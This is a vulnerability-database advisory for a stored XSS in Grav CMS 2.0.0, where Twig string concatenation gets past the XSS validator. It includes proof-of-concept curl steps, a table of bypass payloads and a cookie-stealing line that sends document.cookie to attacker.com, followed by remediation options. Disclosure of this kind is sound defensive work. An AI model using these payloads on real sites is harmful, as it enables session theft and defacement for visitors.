VDB
Sign up
MEDIUM

GHSA-2c4f-86xc-cr74

Grav: XSS Blueprint Validation Bypass via Twig String Concatenation

Quick fix

GHSA-2c4f-86xc-cr74 — getgrav/grav: upgrade to the fixed version with the command below.

composer require getgrav/grav:^2.0.1

Details

## Summary

The XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser.

---

## Details

**The two-stage attack** exploits the separation between validation and rendering:

**Stage 1 - what the XSS validator sees** (raw page content):

```twig {% set x = "on" ~ "error" %} <img src=1 {{ x }}=alert(document.domain)> ```

The `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. **No match - passes validation.**

**Stage 2 - what Twig produces** (after rendering):

```html <img src=1 onerror=alert(document.domain)> ```

The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.

**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:

```yaml allowed_tags: - set # ← allows variable assignment ... ```

The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:

```twig <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> {# XSS validator sees: <s{{...}}> - no <script> tag detected Twig output: <script>alert(1)</script> #} ```

**Also bypasses the `invalid_protocols` check**:

```twig <a href="{{"java"~"script"}}:alert(1)">click</a> {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #} ```

---

## Proof of Concept

### Prerequisites 1. `twig_content.process_enabled: true` set by admin 2. `api.pages.write` permission (page creation)

### Step 1 - Obtain JWT token (any user with page write access)

```bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])") ```

### Step 2 - Create page with Twig XSS payload

```bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>" }' ```

**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.

### Step 3 - Visit page → XSS fires

```bash curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>' # Output: <img src=1 onerror=alert(document.domain)> ```

Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />

#### From a low-level user Also From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />

But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it <img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" /> <img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />

### Alternative payloads (all bypass the validator)

| Payload | Twig Source | After Twig | Triggers | |---------|------------|------------|----------| | Event handler | `<img src=1 {{"on"~"error"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails | | Script tag | `<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>` | `<script>alert(1)</script>` | Immediately | | Protocol bypass | `<a href="{{"java"~"script"}}:alert(1)">click</a>` | `<a href="javascript:alert(1)">click</a>` | On click | | Iframe onload | `<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load | | Details toggle | `<details open {{"on"~"toggle"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load | | Cookie theft | `<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails |

### Admin preview caveat

The Admin2 SPA renders page previews inside a **sandboxed iframe**:

```html <iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe> ```

`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.

---

## Impact

Once the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:

- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`) - **Bypasses the dangerous tag blocklist** (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.) - **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`) - **Persists** across page edits (stored in page content file) - **Executes** for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.

---

## Remediation

### Option A - Re-run the XSS validator on Twig output

After `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:

```php // In Twig::processPage(), after rendering $rendered = $twig->render($name, $context); $result = Security::detectXss($rendered); if ($result !== null) { // Log and sanitize or block Security::logTwigSandboxViolation('xss_output', $result, '', $route); return ''; // or return escaped version } ```

### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

### Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

### Option D - Escape HTML in rendered Twig output

Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/getgrav/grav
Introduced in: 2.0.0Fixed in: 2.0.1
Fixcomposer require getgrav/grav:^2.0.1

References